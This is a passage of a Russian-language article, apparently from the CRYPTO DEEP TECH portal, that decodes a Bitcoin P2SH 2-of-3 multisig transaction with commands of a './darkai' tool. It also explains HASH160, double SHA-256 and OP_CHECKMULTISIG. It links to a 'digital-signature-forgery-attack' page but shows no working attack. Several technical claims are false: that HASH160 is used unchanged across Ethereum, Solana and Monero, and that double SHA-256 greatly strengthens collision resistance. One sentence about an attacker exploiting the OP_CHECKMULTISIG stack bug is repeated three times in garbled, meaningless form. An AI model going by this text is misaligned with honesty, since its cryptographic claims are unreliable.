  • Содержимое представляет собой длинную последовательность байтов в шестнадцатеричном формате.

  • В данном случае это пятикомпонентный скрипт, включающий в себя:

    • Стандартные цифровые подписи (signature) согласно протоколу ECDSA, как правило, для подтверждения владения приватным ключом.

    • Публичные ключи, необходимые для проверки подписи.

    • Возможно, присутствует структура, указывающая на мультиподписные операции (несколько публичных ключей и подписей).

Анализ структуры скрипта:

  • Начинается с 00, что в контексте scriptSig может означать OP_0, традиционно используемый в мультиподписных сценариях (например, в случае стандарта Pay-to-Script-Hash с мультиподписью, где необходима заглушка).

  • Далее следуют подписи в формате DER (например, 3045...), обычно они состоят из серии байтов с деталями подписи.

  • За подписями следуют публичные ключи (по длине и структуре — скорее всего в сжатом формате, т.к. около 33 байт), которые подтверждают принадлежность подписей к корректным владельцам.

  • В целом, формат скрипта соответствует redeemScript или конструкция, характерная для P2SH мультиподписных транзакций.


2. Outpoint (outpoint)

  • Содержит данные о предыдущем выходе, который используется в данном входе:

    • 'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577' — это хэш предыдущей транзакции.

    • 'index': 1 — указывает на второй выход (нумерация с нуля), который используется для разблокирования.

  • Таким образом, вход ссылается на конкретный выход предыдущей транзакции, доказывая, что автор транзакции имеет право его потратить.


3. Sequence (sequence)

  • Значение 4294967295 (0xFFFFFFFF) является максимальным 32-битовым числом.

  • В Bitcoin это поле послужит для обозначения, что вход не участвует в механизме Replace-By-Fee (RBF) или не имеет времени/блокировки по Relative Timelock.

  • Часто используется по умолчанию для неподвижных входов.

Важность scriptSig в контексте безопасности

  • ScriptSig представляет собой данные для разблокирования средств, которые защищены locking script предыдущего выхода.

  • В случае P2SH транзакций (часто для мультиподписи) scriptSig содержит:

    • Подписи участников, подтверждающих право расхода средств.

    • Оригинальный redeemScript, хеш которого указан в locking script предыдущего выхода.

  • Успешная проверка scriptSig гарантирует, что автор транзакции действительно обладает необходимыми полномочиями на распоряжение средствами.


Криптоанализ извлечения первого входа транзакции (ins) с указанным хэшем транзакции показал, что:


  • Вход первой транзакции содержит сложный скрипт разблокировки, включающий цифровые подписи и публичные ключи.

  • Используется ссылка на конкретный выход другой транзакции ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1.

  • Максимальное значение sequence говорит об отсутствии специальных блокировок или RBF.

  • Предположительно, речь идёт о P2SH-мультиподписной транзакции, где, для подтверждения траты средств, требуется несколько подписей.


Таким образом, полученные данные позволяют глубже понять механику проверки прав траты средств, используются в обеспечении безопасности сети Bitcoin, а также в разработке и аудите смарт-контрактов на основе Биткоин-скриптов.



Подробный разбор результата извлечении второго выхода (outs)

Запустим команду, чтобы была получена информация об одном из выходов (output) транзакции с идентификатором ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577.

!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577

Конкретно был извлечён второй выход (outs) этой транзакции, элемент с индексом 1.


Полученный результат:

{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}


1. Детальный анализ полученных данных значение поля value

  • Величина: 350,000 сатоши.

  • Данный объём средств находится во втором выходе указанной транзакции и может быть потрачен при выполнении условий, указанных в соответствующем скрипте.

  • Перевод в BTC: 350,000 сатоши = 0.0035 BTC


2. Значение поля script

  • Характеристика:
    Скрипт a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 является классическим locking script (scriptPubKey) формата P2SH (Pay-to-Script-Hash).

  • Расшифровка скрипта:

    • a9 — OP_HASH160 — оператор, который применяет сначала SHA-256, а затем RIPEMD-160 к входным данным.

    • 14 — длина (20 байт) следующего значения — это размер хэша.

    • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20-байтовый хэш, он же script hash — уникальное представление redeem script, который контролирует расход этих средств.

    • 87 — OP_EQUAL — оператор, который сравнивает два значения и возвращает true, если они равны.

Таким образом, скрипт требует, чтобы для разблокировки (траты средств) пользователь предъявил redeem script, хэш которого совпадает с этим значением.


Значение и роль redeem script в контексте P2SH

  • Redeem script — это оригинальный скрипт, задающий условия траты средств, например, мультиподпись, сложный сценарий с ограничением по времени и т.п.

  • В выходах транзакции хранится только хэш от redeem script, что экономит место и защищает детали условий.

  • Для использования средств, вложенных в данный выход, при создании новой транзакции пользователь должен предоставить в scriptSig сериализованный redeem script, который корректно декодируется и проверяется сетью.


Общее значение результата

  • Идентификатор транзакции ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 связан с выходом, который содержит 0.0035 BTC.

  • Эти средства привязаны к P2SH-адресу, контролируемому скриптом с хэшем 06612b7cb2027e80ec340f9e02ffe4a9a59ba762.

  • Для того чтобы израсходовать эти средства, необходимо предъявить redeem script, соответствующий этому хэшу, и выполнить условия, заложенные в нём.



Значение полученной информации в более широком контексте

  • Этот результат позволяет подтвердить, что средства действительно находятся на выходе с условиями Pay-to-Script-Hash.

  • Понимание структуры таких выходов важно для анализа безопасности, разработки сложных сценариев распределения средств и проверки условий расходования.

  • Использование P2SH обеспечивает надёжный и эффективный механизм управления средствами в сети Bitcoin, позволяющий создавать умные контракты и защищённые кошельки.


Полученная информация подтверждает, что во второй выходной записи транзакции ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 хранится сумма 0.0035 BTC, контролируемая стандартным P2SH-скриптом с hash160 значением 06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Для распоряжения этими средствами необходимо предъявить соответствующий redeem script, что обеспечивает высокий уровень безопасности и гибкости в управлении биткоинами.


Подтвердим расшифровку scriptSig:

OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae


Запустим команду для получение HASH160 разработчики Биткоина установили стандарт для 20-байтовый хэш (hex) который без изменение широко используется в других популярных криптовалютах таких как Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR) для обозначения сокращенного идентификатора скриптов и публичных ключей.


Запустим команду:

!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae

Процесс обработки:

  1. Исходная строка, представленная в шестнадцатеричном формате, преобразуется в последовательность байтов (декодируется из hex в двоичный формат). Данная последовательность представляет собой сериализованный скрипт (redeem script) или схожую структуру биткоин-скрипта.

  2. К полученным байтам применяется алгоритм хеширования SHA-256 (однократный хэш), результат которого далее обрабатывается криптографической функцией RIPEMD-160.

  3. Итоговый хэш RIPEMD-160 от SHA-256 бинарных данных получается в виде строки:

06612b7cb2027e80ec340f9e02ffe4a9a59ba762

Этот 20-байтовый хэш (hex) называется HASH160 и широко используется в Bitcoin для обозначения сокращенного идентификатора скриптов и публичных ключей.


Значение и контекст результата

  • Процесс хеширования RIPEMD-160(SHA-256(data)), известный как HASH160, является стандартом для создания адресов и скриптов в Bitcoin, включая P2SH (Pay-to-Script-Hash). HASH160 обеспечивает уникальный и компактный идентификатор, позволяющий экономить место в блокчейне.

  • Применение двойного хэширования (SHA-256, затем RIPEMD-160) сочетается в себе сильные криптографические свойства обеих функций: стойкость к коллизиям, односторонность и устойчивость к атакам.

  • Полученный хэш соответствует скрипт-хэшу (script hash) redeem script — то есть тому скрипту, который контролирует доступ к средствам, заблокированным по адресу P2SH.

  • В частности, этот HASH160 фигурирует в locking script (scriptPubKey) выходов конкретных транзакций, что требует при тратах предоставить сам исходный redeem script с таким же хэшом и корректные подписи.


Технические подробности и пояснения

  • В Bitсoin существует концепция двойного хэширования SHA-256 и RIPEMD-160 для защиты адресов и скриптов.

  • Использование HASH160 вместо простой 256-битной выдачи SHA-256 уменьшает длину хэша с 32 байт до 20 байт, что уменьшает размер хранилища и данных в сети.

  • HASH160 применяется при формировании преимущественно P2SH-адресов и legacy P2PKH-адресов.


Ключевой шаг в обработке Биткоин-скриптов с помощью криптографических хэш-функций.
Преобразование сериализованных скриптов или публичных ключей в HASH160 позволяет эффективно идентифицировать, индексировать и защищать данные в блокчейне Bitcoin.

Полученный хэш:

{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}

Команда вывела именно тот хэш, который служит связующим звеном между сложными скриптами и компактным форматом, применяемым при хранении и проверке транзакций в сети Bitcoin.



Почему Satoshi выбрал двойное SHA-256, и как это влияет на криптографическую стойкость

Сатоши Накамото выбрал использование двойного хеширования SHA-256 (то есть применение SHA-256 дважды подряд) в алгоритмах хеширования Bitcoin по нескольким важным причинам, которые усиливают криптографическую стойкость и безопасность сети.

Причины выбора двойного SHA-256

  1. Повышение стойкости к различным атакам
    Однократное применение SHA-256 уже обладает высокой криптографической стойкостью, устойчиво к коллизиям и предобразам. Однако двойное применение хеш-функции — сначала SHA-256 к исходным данным, затем SHA-256 к результату — дополнительно усложняет анализ и атаки на хэш.
    Это снижает вероятность успешного подбора коллизии или обратного восстановления исходных данных, делает более трудоемким подбор различных вариантов и защищает от слабостей возможных в конкретных реализациях алгоритма.

  2. Защита от проблем с длиной входных данных
    Двойной SHA-256 обеспечивает дополнительный уровень превентивной безопасности с учётом поведения внутреннего построения хеша и обработки дополняющих битов в разметке данных. Это минимизирует потенциальные атаки, связанные с форматированием данных.

  3. Следование проверенной криптографической практике
    В ряде криптографических протоколов двойное хеширование — признанный приём повышения устойчивости. Например, для контрольных сумм и цифровых подписей используется двойное шифрование или двойное хеширование. Это повышает надёжность цепочки защиты.

  4. Проверенная безопасность и широкая поддержка
    SHA-256 входит в семейство SHA-2, разработанное Агентством национальной безопасности США (NSA) и опубликованное Национальным институтом стандартов и технологий (NIST). Этот алгоритм на сегодняшний день считается одним из самых надёжных и его двойное применение обеспечивает максимальную безопасность.


Как это влияет на криптографическую стойкость

  • Устойчивость к столкновениям и предобразам
    Каждый из этапов SHA-256 обладает высокой стойкостью к коллизиям — крайне сложно найти два входа с одинаковым хешем. Двойное хеширование усиливает эту гарантию, поскольку атакующий должен найти коллизию для двух последовательных SHA-256, что значительно повышает вычислительную сложность.

  • Односторонняя функция с лавинным эффектом
    Двойное применение усиливает «лавинный эффект», при котором малейшее изменение входных данных вызывает радикальное изменение выходного хеша, что затрудняет выявление закономерностей и обратный анализ.

  • Повышенная стойкость к криптоанализу
    Двойной SHA-256 защищает от потенциальных слабостей в реализации или неожиданных уязвимостей, которые могли бы быть обнаружены в одной итерации, минимизируя риски атак с помощью квантовых или классических вычислительных средств.

  • Применимость в Proof-of-Work и безопасности блокчейна
    Механизм PoW в Bitcoin опирается на вычисление хэшей блоков, которые должны удовлетворять определённой сложности. Двойное хеширование создаёт дополнительный барьер для подделки блоков, повышая надёжность и доверие к цепочке блоков5.


Двойное применение SHA-256 — это осознанный выбор Сатоши Накамото, направленный на обеспечение дополнительного уровня защиты и устойчивой криптографической стойкости всей системы Bitcoin. Такая конструкция минимизирует риски коллизий, усиливает односторонность и надёжно защищает данные в блокчейн-сети, создавая прочный фундамент для безопасности транзакций и консенсуса в системе. Таким образом, двойной SHA-256 — это ключевой элемент архитектуры Bitcoin, сочетающий передовые криптографические методы с распределённой системы.

Мультиподпись в Bitcoin: роль redeemScript и инструкция OP_CHECKMULTISIG

В основе безопасности и гибкости современных биткоин-транзакций лежит скриптовая система, позволяющая реализовывать сложные условия расходования средств. Одним из ключевых механизмов является мультиподпись (multisig), когда средства можно потратить только при наличии нескольких допустимых цифровых подписей из набора возможных. В данной статье подробно рассмотрим, как именно это реализовано в Bitcoin, что такое redeemScript, как работает инструкция OP_CHECKMULTISIG, и почему подобный подход востребован.

Что такое redeemScript?

В контексте Bitcoin, redeemScript — это скрипт, содержащий условия траты средств, которые хранятся на выходе транзакции в формате Pay-to-Script-Hash (P2SH). Вместо хранения полного скрипта в блокчейне, в выходе сохраняется хэш redeemScript, что позволяет экономить место и скрывать детали условий до момента траты.


RedeemScript может включать в себя, например, несколько публичных ключей и пороговое количество подписей — именно это и реализует мультиподписные кошельки.


Как работает OP_CHECKMULTISIG?

Рассмотрим инструкцию OP_CHECKMULTISIG: назначение и работа, где главный элемент в redeemScript, реализующий проверку мультиподписи, — OP_CHECKMULTISIG.

  • Инструкция получает на вход две группы данных из стека:

    • N открытых ключей (например, три публичных ключа)

    • M подписей (например, две подписи), где M ≤ N — это необходимый порог подписей для подтверждения транзакции.

  • Для валидации транзакции OP_CHECKMULTISIG проверяет, что каждая из M подписей корректно подписана каким-либо из N публичных ключей.

  • Если все подписи валидны и соответствуют ключам из redeemScript, инструкция возвращает true, позволяя траты средств.


Особенности и баг с удалением элемента из стека

Из-за исторической ошибки в реализации OP_CHECKMULTISIG при выполнении из стека удаляется один дополнительный элемент, неиспользуемое значение. Чтобы избежать проблем, в scriptSig используется специальный элемент OP_FALSE (значение 0) в начале, который компенсирует этот баг и предотвращает потенциальные уязвимости.


  • Далее мы рассмотрим реализацию OP_CHECKMULTISIG при котром из стека удаляется один дополнительный элемент с помощью этого бага злоумышленник компенсирует OP_CHECKMULTISIG как потенциальную уязвимость.

  • Таким образом, структура scriptSig для мультиподписи выглядит примерно как: OP_FALSE <signature1> <signature2> ... <redeemScript> где первый элемент скрипта — фиктивный OP_FALSE.


Практический пример: мультиподпись 2 из 3

Исходя из кода redeemScript:

023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG

  • Здесь объявлено 3 публичных ключа.

  • Порог — 2 подписи из этих трёх необходимы для успешного подтверждения.

  • Операция OP_CHECKMULTISIG проверяет, что две предоставленные подписи (в scriptSig) соотносятся с двумя ключами из трёх и являются валидными.

  • OP_FALSE в scriptSig компенсирует баг удаления лишнего значения.


Значение и преимущества мультиподписных кошельков

  • Повышенная безопасность. Владелец кошелька может распределить контроль над средствами между несколькими лицами или устройствами, исключая возможность одиночного несанкционированного расходования.

  • Гибкость. Могут быть реализованы различные схемы, например, «2 из 3», «3 из 5», с различными условиями.

  • Юридическая эффективность. Мультиподписи часто используются в корпоративной среде для обеспечения совместного управления активами.


Технический и практический контекст

  • Мультиподписные сценарии широко применяются в P2SH- и SegWit-транзакциях.

  • Инструкция OP_CHECKMULTISIG входит в набор самых ресурсоёмких операций в блокчейне, так как требует проверки нескольких подписей. На уровне протокола существует ограничение по количеству сигнальных операций (sigops) на блок.

  • Несмотря на историю с OP_FALSE, механизм доказал свою надежность и получил широкое применение.


RedeemScript с использованием инструкции OP_CHECKMULTISIG — сложный и мощный инструмент в арсенале Bitcoin, который позволяет создавать мультиподписные кошельки с порогом подписей, обеспечивая высокий уровень безопасности и контроля над средствами. Этот механизм стал краеугольным камнем для организаций, пользователей и сервисов, желающих использовать совместное управление своими активами в децентрализованной и защищённой среде. Таким образом, мультиподпись через redeemScript и OP_CHECKMULTISIG — это не просто технология, а функциональность расширяющая возможности классической криптовалютной модели.


Как работает механизм проверки мультиподписей в Bitcoin с помощью OP_CHECKMULTISIG и redeemScript

Механизм проверки мультиподписей в Bitcoin основан на использовании специальных скриптов с инструкцией OP_CHECKMULTISIG и redeemScript, что позволяет реализовать пороговое согласование подписей, обеспечивая повышенную безопасность и совместное управление средствами.

Основы механизма мультиподписей

Мультиподпись — это система, в которой для совершения транзакции требуется несколько действительных подписей из заданного набора публичных ключей. Типичная схема обозначается как m из n — например, «2 из 3», где из трёх ключей нужны любые две подписи для авторизации траты.

В Bitcoin эта логика реализована через:

  • redeemScript — скрипт, описывающий условия траты средств. Он содержит список публичных ключей и параметр порога (m).

  • scriptSig — скрипт разблокировки, включающий подписи, необходимые для подтверждения, и сам redeemScript.


Как устроен redeemScript

Инструкция OP_CHECKMULTISIG проверяет, что предоставленные в scriptSig подписи валидны и соотносятся с опубликованными публичными ключами из redeemScript.

RedeemScript структурирован примерно так:

OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIG

  • OP_M и OP_N — инструкции, задающие число необходимых подписей и общее количество публичных ключей соответственно (к примеру, OP_2 и OP_3).

  • <pubkeyX> — публичные ключи участников.

  • OP_CHECKMULTISIG — оператор, реализующий проверку мультиподписей.

  • Она принимает на вход несколько подписей и набор публичных ключей.

  • Для успешной проверки каждая подпись должна корректно соответствовать одному из указанных публичных ключей.

  • Операция возвращает true, если количество валидных подписей достигает порога m.

Важной технической особенностью является историческая ошибка реализации OP_CHECKMULTISIG, из-за которой из стека удаляется лишний, неиспользуемый элемент. Для компенсации этого бага в scriptSig в начале помещается значение OP_FALSE (код 0), чтобы «заблокировать» сдвиг стека.


Как устроена структура scriptSig

Для кошелька с мультиподписью «2 из 3» перед трата средств формируется scriptSig в виде:

OP_FALSE <signature1> <signature2> <redeemScript>

  • OP_FALSE — фиктивное значение для компенсации бага OP_CHECKMULTISIG.

  • <signature1> и <signature2> — две цифровые подписи, авторизованные владельцами соответствующих приватных ключей.

  • <redeemScript> — сам скрипт с публичными ключами и параметрами проверки.


Во время проверки транзакции нода:

  1. Извлекает redeemScript из scriptSig.

  2. Хеширует его и сравнивает с хешем, который хранится в locking script (scriptPubKey) предыдущего выхода (P2SH-формат — OP_HASH160 <redeemScript hash> OP_EQUAL).

  3. Если хеши совпадают, десериализует redeemScript.

  4. Выполняет оператор OP_CHECKMULTISIG, сравнивая подписи и ключи на предмет соответствия.

  5. Возвращает true, если проверки пройдены успешно.

Если все входы транзакции проходят подобную проверку, транзакция считается валидной. При такой валидности с помощью выполнение оператора этого бага злоумышленник компенсирует OP_CHECKMULTISIG как потенциальную уязвимость.


Механизма мультиподписи через redeemScript и OP_CHECKMULTISIG

  • Повышенная безопасность: Чтобы провести транзакцию, необходимо согласие нескольких держателей приватных ключей, что снижает риски кражи при компрометации одного ключа.

  • Гибкость и масштабируемость: Можно задать произвольный порог подписей (от 1 до 15), а также список участников — от 2 до 15 публичных ключей.

  • Коллективное управление активами: Подходит для корпоративных счетов, совместных кошельков, DAO, позволяя внедрять надежный контроль доступа.

  • Прозрачность и проверяемость: Все необходимые данные и условия находятся в блокчейне, а проверка операций происходит автоматически, децентрализованно и прозрачно.


Механизм проверки мультиподписей в Bitcoin при помощи команды OP_CHECKMULTISIG и redeemScript позволяет устанавливать сложные пороговые схемы подписей, с помощью выполнение оператора этого бага злоумышленник компенсирует OP_CHECKMULTISIG как потенциальную уязвимость контролируемой транзакций в распределённой сети Биткоин.


Опубликованы три части [№1] , [№2] , [№3] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/qbu1m_C1wyA

Video tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db

Источник: https://cryptodeeptool.ru/digital-signature-forgery-attack

Показать полностью 4 1
Отличная работа, все прочитано!

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества